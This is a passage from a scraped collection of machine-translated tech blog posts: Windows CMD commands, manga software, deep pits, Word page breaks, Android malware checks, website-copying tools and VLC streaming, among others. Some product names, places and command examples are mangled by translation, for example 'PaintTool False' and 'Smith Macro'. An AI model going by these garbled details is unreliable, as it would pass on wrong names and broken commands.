wallpaper for presentation slides\n  Beautiful thanks to Powerpoint wallpaper\n  Thanks Powerpoint wallpaper\n  Beautiful Powerpoint wallpapers thanks\n  Beautiful Powerpoint wallpaper thank you\n  Powerpoint wallpaper thanks\n  Powerpoint wallpaper thank you beautiful\n  Powerpoint wallpaper thank you simple\n  Powerpoint wallpaper thank you for your listening\n  Powerpoint wallpaper thank you\n  Thanks pp wallpapers beautiful\n  Thanks pp wallpaper\n  Wallpaper pp thank you beautiful\n  Wallpaper pp thank you\n  Pp wallpaper\n  Thanks Slide wallpaper in Powerpoint\n  Wallpaper thanks Slide\n  Slide wallpapers thank you for Powerpoint\n  Slide Wallpapers thank you beautiful\n  Wallpaper thanks Slide beautiful\n  Wallpaper thank you for Powerpoint\n  Wallpaper thank you for Slide\n  Beautiful thanks background for pp\n  Thanks Powerpoint background\n  Beautiful Powerpoint background thank you\n  Powerpoint background thank you beautiful\n  Powerpoint background thank you simple\n  Powerpoint background thank you\n  Thank you pp background beautiful\n  Pp background\n  Slide background thank you beautiful\n  Slide background thank you\n  Slide thank you Powerpoint\n  Slide thanks in Powerpoint\nAbove TipsMake.vn has shared with you the Powerpoint wallpaper Thank You, Thanks for the ending Slide, hope you will love and choose the Powerpoint Thank You wallpaper, Thank you as the wallpaper for Your ending slide.\nncG1vNJzZmismaXArq3KnmWcp51kvbDDxKunqKGeqXq1tMCnomaxn6p6uK3LpaeaqJWnwG7Ax5qlpKtdm7yzedOhnGarnJ6xpnnEp5us\n","link":"/post/powerpoint-thank-you-wallpapers-thanks-for-the-slide-ends/","section":"post","tags":null,"title":"Powerpoint Thank You wallpapers, Thanks for the Slide ends"},{"body":"To access a folder on your computer, or perform some commands on Windows, we often use the Run dialog box and enter the path or command. This will help users access and manipulate faster. Or some access on Windows is required to use this command line interface. So, when you have a handful of common and frequently used commands, Run CMD will help us get results faster. In the following article, we will synthesize the common Run commands to readers.\nFirst of all, we need to open the Run dialog box with Windows + R key combination and type the keyword cmd , click OK to access.\n  1. PING command: Command line: ping ip / host / [/ t] [/ a] [/ l] [/ n]\nInside:\nip: the IP address of the computer to be checked, the host is the name of the computer to check the network connection. Users can use the IP address or computer's name. / t: requires sending packets continuously to the destination until you press Ctrl + C to finish. / a: receive IP address from computer name. / l: Determine the width of the packet sent for testing. / n: determine the number of packets sent. How to use the PING command: we can use the PING command line when we want to check if the computer is connected to the Internet. When executing the PING command, packets from the computer that you want to check are sent to the destination computer, from which the user can check the connection or determine if the computer is connected to the network.\n2. Tracert order: Command line: tracert ip / host\nWhere: ip / host is the IP address or computer name to be checked.\nHow to use the Tracert command: The Tracert command is used to display the path of packets from the test computer to the destination computer, via which server or router.\n  3. Netstat command: Command line: Netstat [/ a] [/ e] [/ n]\nInside:\n/ a: Displays all connections and ports that are open. / e: Ethernet statistics information. / n: displays addresses and connection port numbers. How to use the Netstat command: helps users to know the incoming and outgoing connections to the computer that they want to check.\n4. Ipconfig command: Command line: ipconfig / all\nHow to use the ipconfig / all command: show the information of the computer under test including host name, IP address, DNS, .\n  5. Shutdown command: Command line:\nShutdown -s -t [a] : Shutdown (on Windows 7). Shutdown -r -t [a] : starts the computer. In which: a is the time to turn off or turn on the machine in seconds.\n  How to use the Shutdown command: turn off or restart the computer on a scheduled schedule. In addition, readers can refer to how to schedule a shutdown for a Windows 10 computer in the article Instructions for scheduling a Windows 10 computer shutdown.\n6. DIR command: Command line: DIR [drive:] [path] [filename]\nInside:\nPath: path to file or directory. Filename: file name. DIR command uses: help users to search and check files and folders in the computer.\n7. DEL order: Command line: DEL [/ p] [/ f] [/ s] [/ q] [/ a [[:] attributes]] \"file name to delete\"\nInside:\n/ p: display file information before deleting. / f: delete files with read-only properties. / s: delete all files that appear in any folder. / q: delete without asking. / a [[:] attributes]: delete file properties (R: Read-only files, S: System files, H: Hidden files). Use DEL command: delete files on the computer.\n8. COPY order: Command line: COPY \"\" the file address to be copied \"\" to save the copy file \"/ y\nIn which: / y is copying files without asking.\nHow to use COPY command: use in case you want to transfer files from one folder to another in the computer.\n  9. RD command: Command line: RD / s / q \"folder to delete\"\nInside:\n/ s: delete the entire directory. / q: delete the directory without asking. How to use the RD command: in case we want to quickly delete certain folder on the computer, we can apply this command.\n  10. MD Order: Command line: MD \"path to save file to create\" \"directory name to create\"\nHow to use the MD command: use in case of creating a new directory in the drive.\nFor example, MD \"D: Amnhac\" to create the Amnhac folder in the computer D drive.\n  11. TASKKILL order: Command line: taskkill / f / im \".exe\" name\nHow to use the TASKKILL command: turn off the running software in case the software has a problem, cannot exit directly.\n12. Order of REG ADD: Command line: REG ADD KeyName [/ v ValueName] [/ t Type] [/ s Separator] [/ d Data] [/ f]\nInside:\nKeyName: path to lock. / v ValueName: The name of the value to create in the Registry. / t Type: data type. / d Data: initialization data for the newly created value. How to use the REG ADD command: use the command to create and edit the Registry.\n13. REG DELETE command: Command line: REG DELETE KeyName [/ v ValueName] [/ f]\nWhere: [/ v ValueName] is the name of the value to delete.\nHow to use the REG DELETE command: use in case you want to delete a certain value in the Registry.\n14. REGEDIT.EXE command: Command line: Regedit.exe / s \"where the .reg file is located\"\nIn which: / s does not need to ask.\nUsage: used in case of running .reg file.\n15. ATTRIB command: Command line: ATTRIB -a -s -h -r \"file, directory\" / s / d or ATTRIB + a + s + h + r \"file, directory\" / s / d\nInside:\n+ Sign: add attribute. - -: remove properties. a: archive is an archive property. s: system is the system attribute. h: hidden is hidden attribute. r: read-only is read-only property. / s: done with all files located in directories and subdirectories. / d: set properties for directories and subdirectories. Usage: used to set properties for files or directories.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51kwLa5zJqpsmWfm3q1tMRmmqilnaS7br7Up2ScpZRisLC5zJqlnas%3D\n","link":"/post/summary-of-the-common-run-cmd-commands/","section":"post","tags":null,"title":"Summary of the common Run CMD commands"},{"body":"Here is a list of the 12 most mysterious deep pits on the planet that contain many mysteries. When anyone looks at it, everyone is overwhelmed and feel like they have been swallowed by the ground.\n1. Darvaza (Gate of Hell), Turkmenistan This fire pit has a diameter of 61m and a depth of 20m and this is a man-made product. In 1971, when people drilled the land, natural gas leaked out and they set fire to burn them all down.\n  However, nearly 50 have passed and the fire still flickers to this day.\n2. The St. Well Patrick's, Orvieto, Italy   This deep and elaborate well was built in 1527 to provide water for the whole city in a siege.\n3. Big Hole in Kimberley, South Africa   Big Hole is a large diamond mine that has ceased operations in Kimberley, South Africa. In the last century, thousands of people came here to mine diamonds and with hand tools like a hoe and shovel they dug a giant hole 500 meters in diameter and 400 meters deep.\nThe world famous diamond De Beers with a weight of 428.5 carats was found in the Big Hole.\n4. The spillway of a hydroelectric lake, Northern California   This spillway is capable of releasing thousands of liters of water within seconds. This is an artificial pit built 50 years ago and has an impressive beauty, attracting many visitors.\n5. Great Blue Hole, Belize Reef   This huge and almost perfectly circular oceanhole is a product of nature. It has a diameter of 305m and a depth of 122m, inside it hides beautiful coral reefs.\n6. Crater of Yasur, Vanuatu island   Yasur is a volcano on Vanuatu island and is still active. Its most recent eruption occurred in 2017. This is one of the most accessible active volcanoes in the world and attracts a lot of tourists.\n7. Reverse tower in Masons, Portugal   This is a huge well with spiral staircase around was built in the early 20th century. People here consider this tower a sacred place, the intersection between light and darkness. This tower can accommodate a 10-story building.\n8. Er Wang Dong Cave, China   This is a massive cave system with a separate ecosystem inside. Here we can see strange creatures that cannot be found anywhere else on the planet.\n9. Cerro Sarisariñama Cave, Venezuela   Hundreds of years ago, many landslides turned the towering Sarisariñama into Bolívar state, Venezuela into a giant cave isolated from the outside world. Inside the cave there is a separate ecosystem.\n10. Eisriesenwelt cave, Austria   This cave is located at an altitude of over 1500m, with a length of nearly 42km and a depth of nearly 400m. This is considered the largest ice cave in the world.\n11. Sinkholes in Guatemala City   A 3-storey factory, along with a house next to it, disappeared completely underground on June 1, 2010.\n12. Mutnovsky ice cave, Russia   This is a strange ice cave because it has been icy for many years even though it is right next to the volcano. The cave dome is extremely beautiful because it is covered with colorful ice cubes.\nncG1vNJzZmismaXArq3KnmWcp51kfnN5zLKqrZ2inry2v4ydnJ6olajBbrTOpZysZZmjerW0xGanpZmemsE%3D\n","link":"/post/12-mysterious-deepest-holes-in-the-planet/","section":"post","tags":null,"title":"12 mysterious deepest holes in the planet"},{"body":"Most manga artists start designing and drawing in a medium that they feel most confident of. However, as your work progresses and you want to expand your experience even more, you may want to look for new tools.\nIf you want to take your artwork to a new level, you may want to consider using a digital media platform to create manga. There are a number of well-designed programs to help create digital artworks.\nTop best manga drawing software 1. Adobe Photoshop 2. SYSTEMAX PaintTool False 3. Smith Macro Manga Studio 4. PGN OpenCanvas 5. Corel Painter 6. Comic Life 7. Pencil 8. Manga Studio Debut 9. Pencil2D 10. RealWorld Paint 11. MyPaint 12. Krita 13. Pixton 1. Adobe Photoshop   Adobe Photoshop must be one of the most popular programs on the market, especially in the field of digital drawing. This program provides all the high quality tools you will need to create incredible manga and anime works.\nIf you have invested in a graphic tablet, you can sketch it directly into the program, just practice drawing and digital skills everything from beginning to end. If you are a person who likes to sketch on paper, you can do so and scan the sketch to Adobe Photoshop. You can then use some photo editing features to clean up and create a usable sketch.\nTo add color to the sketch, you can use the brush tool when using a graphical tablet or Pen Tool for raster and vector design, perfect accuracy, even when using a mouse. Pen Tool produces works with sharp edges and perfect shadow effects.\nThere are a variety of brushes with different textures and shapes, so you can replace or choose between different painting and painting techniques. You even have access to custom brushes on the web, created by other Photoshop users.\nAdobe Photoshop is a complete and reliable program that will serve many of your creative needs.\n2. SYSTEMAX PaintTool False   This program is very popular for manga, is inexpensive and is produced by Japan itself. SYSTEMAX PaintTool Wrongly understands the origin of creating manga and thus serves this purpose perfectly.\nThis is a lightweight program, runs smoothly, is really easy to navigate and has a lot of things you need when creating manga artwork.\nPaintTool was created primarily as a painting program. The program has many brush sizes, all different in shape and texture. You have the ability to create traditional art styles, with watercolor features and markers.\nIf you are looking for something else, you can also download custom brushes from the web. PaintTool is a leading candidate in this field. The layer tool also allows you to create artwork with sharp edges and editable lines without using an eraser.\nYou can try the SYSTEMAX PaintTool for free for 30 days, to see if it is the tool you need.\nDownload the wrong SYSTEMAX PaintTool.\n3. Smith Macro Manga Studio   Smith Manga Manga Studio was created for those who want to make manga. The program has the ability to edit vectors, enable online work and a variety of color swatches specific to the genre, additional screen tones and useful smart rules for individuals. 3D objects. Smith Macro Manga Studio is really a program that can do everything for comic artists.\nYou can use this program with a graphic tablet, as it has pen pressure sensitivity and has been designed to use digital pens. It mimics the traditional pen used by comic artists. You can also customize the built-in brushes, making them fit your style.\nFor manga, this is really a pretty good choice. Macro Manga Studio not only provides you with what it takes to create stunning artwork, but also helps guide you in designing scenes and characters. What more would you expect in a program like this?\n4. PGN OpenCanvas   OpenCanvas is very popular for manga and anime artists. This is a digital drawing program available in both Japanese and English.\nThe program has many different types of brushes, such as the raster-based Pen Tool, watercolor brushes and markers. OpenCanvas offers a variety of real tools for digital inkjet spraying, as well as using a split system into layers for easy editing.\nThe interface of PGN OpenCanvas is user-friendly, easy to navigate through menus and miniature control panels. There are many different color tones, patterns and textures to choose from, as well as editable brushes, giving you a complete and unique look. The program has a very useful event log feature that helps you keep track of your progress.\nThis is a program that meets the needs from the beginning to the end of users who want to design manga. Visual hardware of PGN OpenCanvas is perfect for this style of work.\n5. Corel Painter   Corel Painter is a popular program that is widely believed. This is mainly a famous painting program with a variety of brush options, both a digital brush and a simulation of traditional media, such as chalk, watercolor, oil paint, crayons, Marker pen and colored chalk.\nThere are also a number of different paper textures to choose from, all complementing specific types of brushes, creating a traditional feel for each painting but done digitally. Corel is a popular tool among artists who want to start using digital when composing, but still want their work to look traditional.\nCorel Painter also includes a variety of different brushes, which really gives a more digital look to the artwork, as well as gives you the option to use precise pen pressure sensitivity on the tablet. painting.\nCorel Painter is a powerful program. It has many different tools and textures, both traditional and digital simulations, that will help you create manga-style works easily.\n6. Comic Life   Comic Life has a very intuitive interface, suitable for beginners. The program itself is available for use on Windows, Mac and IOS.\nAlthough Comic Life initially seems like a simple program, it has a variety of different features, including preset tables that will help you gather ideas for use in your own work. The program has many different commands, with collages and drag and drop options in cartoons, all of which help you easily create a manga work.\nYou can check out the program using a 30-day free trial, to see if that's what you need.\nDownload Comic Life.\n7. Pencil   What makes Pencil great is that it's free! This is a very easy to use program.\nThis multifunctional tool gives you the freedom to compose manga. You can customize your own colors. It even allows you to edit digital hand-drawn drawings in post-production.\nSince this is a free program, you should not expect it to have all the outstanding features of some other digital drawing software. However, Pencil is a great place to start for new digital manga testers.\nDownload Pencil.\n8. Manga Studio Debut   Although Manga Studio Debut was created specifically for manga creation, it is very easy to use and more suitable for professionals or those with a lot of experience in drawing and editing digital.\nManga Studio Debut is fully functional and can be used on some devices, via mouse or graphics tablet. Manga Studio Debut has a 30-day free trial version for you to test it and see if it is the program you want.\nAfter a while, you will understand the program and its ability to create some incredible manga.\nDownload Manga Studio Debut.\n9. Pencil2D   Pencil2D is another free program that allows you to create manga and manga works. Pencil2D was first developed as a simple drawing tool, but has been upgraded over time to support animation and other features.\nThis is an easy-to-use program, even easier than most other available paid programs. However, Pencil2D does not have all the additional tools and functions like on paid programs. What it has is digital capabilities, as well as improved sketches and hand-drawn drawings. Pencil2D is a great start for manga beginners.\nDownload Pencil2D.\n10. RealWorld Paint   This is an easy to use, simple and fun program. RealWorld Paint has many different useful features, with adjustable layers and opacity.\nWhat makes this website and the program useful is the content of the instructional videos in English, explaining how to perform many different activities and how to use RealWorld Paint. The videos are full of useful tips and tricks for creating comics and manga, including adding useful layers.\nRealWorld Paint is best suited for those new to the manga world and a useful help in creating artworks of this type.\nDownload RealWorld Paint: http://www.rw-designer.com/image-editor\n11. MyPaint   MyPaint was not created specifically for drawing manga and comics, but it is free and can be a great tool for newcomers who want to create manga artwork.\nYou can use the program to build more manual drawings or even to create digital drawings from scratch, through a variety of functions, features and tools.\nThe program is supported by many different operating systems, including Windows, Mac OS X and even Linux.\nBefore starting to buy a paid program, try MyPaint to see if the creation of digital comics is for you.\nDownload MyPaint:\nhttp://mypaint.org/  12. Krita   Krita is another free and open source software. Krita was created for computer graphics. The program is fully packed with many advanced tools for drawing and creating manga, all customizable.\nKrita is available on both Windows and Linux. This is a great program for beginners, because it's free and quite easy to use. You can switch between pre-designed tools or customize them to suit your style. After using it for a while, you will find creating artworks much easier, and you will be able to create comics that match your own style.\nDownload Krita.\n13. Pixton   Pixton is a web-based program available for creating comics. Pixton is quite fast and easy to use, especially suitable for those who are inexperienced or looking to learn how to use different tools, functions, drawings and designs related to creating manga.\nThe program has various details, colors and lengths of manga stories, all of which can be customized by the user. Different characters and settings are grouped by theme, making Pixton really easy to use.\nThe registration of Pixton is completely free and fast. Both experienced painters or beginners can use Pixton. Pixton can be used on different platforms and perfect for students who do not use the same computer to create their artwork. You can create files online and don't need to install special software on your PC.\nReference links:\nhttps://www.pixton.com/  Today, everything is following a digital trend. To keep up with the market and meet your needs, perhaps you should also digital your artwork.\nThere are great programs that can be downloaded or accessed via the Internet, which makes creating manga works a lot easier. The tools and functions of these programs provide you with the capabilities that you will not have, when using only pen and paper, giving you the power to do more.\nIf you're serious about your digital artwork, you might consider investing in a graphic tablet. Many software have pen pressure sensitivity, allowing you to directly sketch artwork on the program, from which you can edit and colorize the sketch to achieve the final result.\nThere are many possibilities out there, so experiment with the software, find the perfect manga creation program for you and show your personal style.\nWish you find the right choice!\nncG1vNJzZmismaXArq3KnmWcp51kfnR5wZ6qrWWdlruorYydqZqvmaO0brzRqJ6rmZ2o\n","link":"/post/13-best-manga-drawing-programs/","section":"post","tags":null,"title":"13 best manga drawing programs"},{"body":"Dell Vostro 1220 may be the next version Vostro 1200 with a 12-inch screen, designed for business people but good price. \n Dell's new Vostro business model may appear in the near future with low prices. It has a 12-inch screen, beautifully designed by simple curves, possessing many improvements. Dell Vostro 1220 runs on a Core 2 Duo T6750 processor, 4 GB RAM, 320 GB hard drive with SD card slot, ExpressCard, fingerprint recognition feature. No information about the launch time of this model.\n                    ncG1vNJzZmismaXArq3KnmWcp51krrG8xJqpnpxdpLturYycn56ZoGJ%2Bc7XNnJ9mpJGlwbC8jKKkmp%2BVYrOzu8xmm56knA%3D%3D\n","link":"/post/appeared-on-a-cheap-12-inch-laptop-image-from-dell/","section":"post","tags":null,"title":"Appeared on a cheap 12-inch laptop image from Dell"},{"body":"With the beta version, users of the Oculus Quest 2 headset can host an online meeting as an avatar version of themselves. Each virtual meeting room has up to 16 Oculus Quest 2 users and up to 50 participants.\n  Meeting participants wearing headsets can express emotions and manipulate reality, then the avatar in the virtual meeting will move accordingly. In the meeting room there is a virtual whiteboard, helping people share images or make presentations.\n  \"The COVID-19 pandemic over the past 18 months has made us more confident in the importance of this technology,\" said Andrew Bosworth, Facebook's Vice President of Reality Labs. Vice President Bosworth further shared that Facebook has been using this application in internal meetings for about a year.\nThis is not the first time Facebook and Oculus (a subsidiary of Facebook) have tried to create interactions through VR. The company launched virtual hangout apps Oculus Rooms and Facebook Spaces in 2016 and 2017 respectively. However, the company discontinued both VR apps in October 2019.\nInstead, they announced a virtual social world called Horizon, launching in 2020. Horizon is not yet widely available, and Facebook has confirmed that the app is still in private beta testing. .\nncG1vNJzZmismaXArq3KnmWcp51ks6KvxJumqKNdoa62usKhnKxlpp6%2FtcHApWSrnZGhtrXFjK2cpZ2npL%2Bstc2gZJqooKG2pK3ToqanZZOkurGx06KloGWnnsGpedmopqY%3D\n","link":"/post/facebook-launches-virtual-reality-teleworking-application-competing-with-zoom/","section":"post","tags":null,"title":"Facebook launches virtual reality teleworking application, competing with Zoom"},{"body":" Word 2013 Complete Tutorial (Part 9): Use Line and Paragraph Spacing Word 2013 Complete Guide (Part 10): Bullets, Numbering, Multilevel list in Microsoft Word Word 2013 Complete Guide (Part 11): How to create hyperlink links When executing a multi-page document, there will be times when you want to control the text flow more accurately. Adding Breaks to a document can help you organize the structure more closely and more coherently and can improve text flow. Depending on how you want to change paging or document format, you can apply page break or section break .\nPlease see the video How to break pages, paragraph breaks in Word 2013 below:\nPage break - page break Page break allows you to move the text to the next page before the end of a page. You can use page breaks if you are writing an article with a title page or a directory ( reference book reference ) to make sure it starts on a new page. In the example below, our chart is divided between two pages. We add a page break so the chart is displayed entirely on a page.\nInsert page break 1. Place the insertion point where you want to create space. In the example, we will place it in front of the chart.\n  2. On the Insert tab, click the Page Break command. Alternatively, you can press Ctrl + Enter on the keyboard.\n  3. Page breaks will be applied to documents and documents that will move to the next page. In the example, the chart will move to the next page.\n  By default, page breaks are hidden. If you want to display page breaks in your document, click the Show / Hide command .   Section break - Breaking the segment The section break creates lines between different parts of the document, allowing you to format each section separately. For example, you want a section to be divided into two columns without the need to add columns to the document. Word 2013 offers several break sections such as:\n  Next Page : This option adds a paragraph break and moves the text after switching to the next page of the document. This is useful for creating a new page with a standard format after a page containing column format. Continuous : This option inserts a segment break and allows you to continue working on the same page. This type of page break is useful when you need to split a paragraph from columns. Even Page and Odd Page : These options add segment breaks and move text after breaking into odd or even pages. These options can be useful when you need to start a new section on an even or odd page ( for example, a new chapter of a book ). Insert segment breaks In the example below, we have added a paragraph break to separate a paragraph from the two column list. This will allow us to change the paragraph format so that it no longer appears to be in column format.\n1. Place the insertion point where you want to break the page. In the example, we put it at the beginning of a paragraph that wants to be separated from the column format.\n  2. On the Page Layout tab, click the Breaks command, and then select the section you want to extract from the drop-down menu that appears. In the example, we select Continuous so the text is still on the same page as the columns.\n  3. A paragraph break will appear in the document.\n  4. Text before and after the break section can be individually formatted. Apply the formatting options you want. In the example, we apply a column format to the paragraph so that it is no longer formatted into columns.\n  5. Text will be formatted in the document.\n  Page break types When you want to format the column display or specify text around the image, Word 2013 provides a few additional page breaker options:\n  Column : When creating multiple columns, you can apply a column break to balance the appearance of columns. Any text after the column break will start in the next column.   Text wrapping : When inserting photos or icons into documents, you can use text-wrapping break to start typing text below the image.   Remove page breaks By default, break will be to hide. If you want to delete the break, you will have to display the break on the text.\n1. On the Home tab, click the Show / Hide command.\n  2. Determine the segment split you want to remove. Set the insertion point before that break .\n  3. Press the Delete key. The page breaks will be deleted from the document.\n  See also: Word 2013: Instructions for using Microsoft and OneDrive accounts\nHaving fun!\nncG1vNJzZmismaXArq3KnmWcp51kxLC%2Bw2ZpaWljYrO2uMutnLGsXanCtbvRopilZaCWv7V5kGtkoaenYsGwecGrnJqjXaWuqLHSZqeaqpGcv6K8x2aZq52RoMA%3D\n","link":"/post/how-to-break-pages-paragraph-breaks/","section":"post","tags":null,"title":"How to break pages, paragraph breaks"},{"body":"  Archana Ramamoorthy, MS\nChief Technology Officer, Workday Archana Ramamoorthy is the Chief Technology Officer, North America at Workday She is a product ninja, security advocate, and on a quest to enable more inclusion in the tech industry. Archana received her BS from SRM University and MS from Duke University and has been working in product management for over 8 years.  Archana Ramamoorthy, MS\nChief Technology Officer, Workday\nOur Expert's Story: \"I came to coding with zero background in either computer design or programming. When I wanted to learn to code, I started by reading Java books and using online information. In today's world, there are so many resources available, so it's very easy to learn new skills!\"\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufmbI%3D\n","link":"/post/how-to-code/","section":"post","tags":null,"title":"How to Code"},{"body":"Android is one of the most popular operating systems in the world, but this does not mean it is the safest operating system in the world. Installing applications outside of Google Play is often potentially risky, making users more likely to steal personal data and money. Therefore, the detection of malicious applications on Android phones will help you distinguish what will be a safe application, where the application contains malicious code, thereby minimizing the download of dangerous applications. Security and protection of Android devices become safer.\n4 ways to uninstall apps for Android devices 6 tips to enhance security for Android phones 3 signs that your Android device is attacked by a virus 1. Use the malicious application detection feature\nYou may not know, this is an extremely useful feature that Google has integrated on each device through the Google Play application to help you prevent malicious applications on the phone and identify dangerous applications. dangerous. This new feature is called Play Protect, when you install an application of unknown origin, the system will immediately check. With malicious applications on Android, this feature will notify and prevent users from installing applications.\nHow to enable this feature is already in the content of the article Protect Android device by sending unspecified applications to Google that previously Network Administrator ever shared, you can review to know how to use it details.\n2. Absolutely not install applications of unknown origin\nCurrently, there are many sources of application downloads, APK files for Android are not clear origin, so the device may face the risk of being attacked by malware. Fix this situation, you absolutely must not install applications from poor quality sources, unknown sources. In addition, limiting the use of third-party marketplaces is widespread because it is likely that the application has been infected with malicious code, causing your device to be affected during operation and operation.\n3. Scan harmful apps on Android\nSimilar to the previously used malicious application detection feature, the Play Protect feature that has been integrated on current Android devices can help users to detect malicious applications. Android by checking and scanning harmful apps on Android.\nStep 1:\nOpen the Google Play app on your phone, click on the 3 dashes icon in the upper left corner like the picture and select Play Protect .\n   Step 2:\nNext, select Scan device for security threats . The system will check all applications that you have downloaded and installed on Android. When results show up with Look Good , this means that the applications you download on Android are quality applications, you can rest assured and continue using them.\n  4. Restrict application permissions to access the device\nSome applications, even if they are downloaded from Google Play itself, do not stop collecting user information by requesting device access. For example, with photo editing applications on Android will not need to access the calling program, so if you grant access to the device too much without noticing it is very easy to be collected by malicious applications. and use of personal data. You can track access rights of applications that we have granted the following way:\nStep 1:\nAccess the Settings app, search and click the Access Permissions section. For other Android devices, you can select from the application management screen on the 3 dots icon in the upper right corner of the screen and select the Application permissions .\n  Step 2:\nAt this point, the access rights on the phone that the application is using as well as the request will display, you check the access rights and find the connection permissions of applications that feel inappropriate. .\n5. Always update the Android version\nSimilar to iOS devices, Android updates will help patch security holes and update features to enhance the user experience. You can refer to how to update Android operating system has been very detailed instructions by us to ensure the process of using your device.\nAbove is how to detect malicious applications on Android phones, please apply these ways immediately to protect Android phones better!\nI wish you all success!\nSee more:\nHow to fix Pending pending download of apps on Google Play How to remove malicious software (malware) on Android applications? Top best antivirus application for Android phones ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVqbKkwIymmKWhk568tr%2BMmqepq12ku26tzZ2pqKGU\n","link":"/post/how-to-detect-malicious-apps-on-android/","section":"post","tags":null,"title":"How to detect malicious apps on Android"},{"body":"Although wifi is everywhere today, sometimes you will go to places where there is no wifi. For example, if you join a 12-hour international flight, downloading the entire site can be a great alternative to e-books, audio books, podcasts and movies. But how do you download a website? It's easier than you think! Here are four tools that allow you to do that.\n1. WebCopy (Windows) WebCopy of Cyotek retrieves a web page URL and scans links, pages and media. When searching for pages, it will find links, pages and media until the entire site is discovered. You can then use the configuration options to decide which part to download.\n  The interesting thing about WebCopy is that you can set up many \"projects\" that each has its own settings and configurations. This allows you to easily reload many different websites whenever you want, each time exactly the same way. A project can copy multiple websites, thus using them with a plan (eg a \"Technology\" project to copy technology sites).\nTo download a website with WebCopy:\n1. Install and launch the application.\n2. Navigate to File\u0026gt; New to create a new project.\n3. Enter the URL in the Website field.\n4. Change the Save folder field to where you want to save the web page.\n5. Consider WebCopy rules select Project\u0026gt; Rules .\n6. Navigate to File\u0026gt; Save As . to save the project.\n7. Click Copy Website in the toolbar to start the page loading process.\nAfter copying is complete, you can use the Results tab to view the status of each page and / or multimedia file. The Errors tab displays any possible problems and the Skipped tab displays files that are not downloaded. But most importantly, Sitemap , shows the full directory structure of the website discovered by WebCopy.\nTo view the website offline, open File Explorer and navigate to the saved folder that you specified. Open index.html (or sometimes index.htm ) in your browser to start browsing.\n2. HTTrack (Windows, Linux, Android) HTTrack is more popular than WebCopy and is considered better because it is open source and available on platforms other than Windows, but the interface is a bit complicated. However, it works well so don't let that make you ignore this application.\n  Like WebCopy, this application uses a project-based approach, which allows you to copy multiple websites and keep them neat. You can pause, continue to download and update sites that are copied by reloading old and new files.\nTo download a site with HTTrack:\n1. Install and launch the application.\n2. Click Next to start creating a new project.\n3. Provide the name, category, base path for the project, and then click Next .\n4. Select Download web site (s) , then enter each website URL in the Web Addresses box, one for each URL. You can also save URLs in the TXT file and import that file, which is very convenient when you want to reload the same site. Click Next .\n5. Adjust the parameters if you want, then click Finish .\nOnce everything has been downloaded, you can browse the website as usual by going to the downloaded file and opening index.html or index.htm in the browser.\n3. SiteSucker (Mac, iOS) If you are using a Mac, the best option for you is SiteSucker. This simple tool extracts the entire site and maintains the same overall structure and includes all related media files (eg images, PDF files, sheets). It has a clean and easy to use interface, just paste the website URL and press Enter .\n  Another convenient feature of this application is the ability to save what downloads into a file, then use that file to download the same file and the same structure later (or on another computer). This feature allows SiteSucker to pause page loading and continue later.\nSiteSucker is priced at $ 5 and doesn't have a free version or a trial version, which may be its biggest drawback. The latest version requires macOS 10.11 El Capitan or newer. The older version of SiteSucker is available for older Mac systems, but some features may be missing.\n4. Wget (Windows, Mac, Linux) Wget is a command line utility that can retrieve all file types via HTTP and FTP protocols. Since the website is hosted via HTTP and most web media files are accessible via HTTP or FTP, this makes Wget a great tool for extracting web pages.\nWhile Wget is often used to download individual files, it can be used to download all pages and files found via the original page:\nwget -r -p //www.quantrimang.com\nHowever, some websites can detect and prevent what you are trying to do because ripping a site can cause them to lose a lot of bandwidth. To do this, you can 'disguise' it as a web browser with a user agent string:\nwget -r -p -U Mozilla //www.quantrimang.com\nIf you want, you should also limit the download speed (so you won't take up server bandwidth) and pause between each download (so you don't overload the web server with too many requests):\nwget -r -p -U Mozilla --wait = 10 --limit-rate = 35K //www.quantrimang.com\nWget comes with most Unix-based systems. On a Mac, you can install Wget using a Homebrew command: brew install wget . On Windows, you will need to use this ported version instead.\nInstructions for installing software with Homebrew on macOS X The bigger the site, the more downloads, so don't save too large websites because you need thousands of MB to store all the media files that the site uses. The best sites to download are pages with lots of text and not many images and sites that don't often add new or changed pages.\nSo you know four tools to be able to download the entire offline reading site, hoping the article will be useful and you can share it with your friends.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyfrLutu8CdZK2glWKyr8DIq5xmr5WXwKrAxGadqKpdpLOnuMinnGaqlZaxqrrG\n","link":"/post/how-to-download-the-entire-website-for-offline-reading/","section":"post","tags":null,"title":"How to download the entire website for offline reading"},{"body":" VideoLan media player (VLC) is an incredibly versatile media player available for Windows, Linux and other *Nix clones. It's also available for Mac, and gives you powerful options for advanced media controls and display. Using VLC makes it...\nMethod 1of 2:\nStreaming on a Network Client  Open VLC media player, click on \"Media,\" and select \"Open Network Stream\".\n  In the \"Network\" tab, enter the IP address of the media server, as well as the port number. Click \"Play.\"\n  VLC steaming is ready now.\n Method 2of 2:\nDealing with delay between playbacks If you listen to the same stream on computers in multiple rooms, they are all at different places in the stream, which results in an incredible, unpleasant cacophony. If you change to vlc streaming from one and listening to the stream on the others, the result will be that all the others are at different delays from the stream server. Here's what to do to address this issue:\n On the streaming vlc server: Do not check the \"display locally\" box. It will stay silent, you will not hear anything, however, the stream is sent out.\n  On the listening VLCs: Tighten the buffering/caching: Start with a 20ms caching and increment by 10 until the stream is free of cutting out. In the startup phase it will always cut out a lot, but the stream will stabilize after about 5 to 10 seconds and be smooth.\n  To listen on your sending computer: Open a second vlc client and listen to the stream as you do on all the others, same caching/buffering values.\n  Note that all caching values seem to need to be the same.\n  David Pac Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq3uMJmq6hlo6m%2Fpq3MZpiunJmkeqK6w2atopyVpHq1u4ymrKWsmaW5pnnCqKSpraSav7R5zqdksqelp3qvsdOwpqujXarAqrrGZqSupKSesKK%2F0w%3D%3D\n","link":"/post/how-to-use-vlc-to-stream-audio-and-video-to-multiple-computers-on-your-network-using-multicast/","section":"post","tags":null,"title":"How to Use VLC to Stream Audio and Video to Multiple Computers on Your Network Using Multicast"},{"body":"If you have played Among Us for a while, then surely you have had a long time playing some Crewmate (crew member) and hope your next round will be an Impostor (a fake) in Among Us.\nBut then you get frustrated and then go to trash, wire, scan to complete the task instead of finding and killing. Even many people are disappointed and give up as soon as they know they are not an Imposter, something commonly seen on Among Us Mobile and Among Us PC.\nMost gamers say the feeling of making Impostor in Among Us is better when becoming the 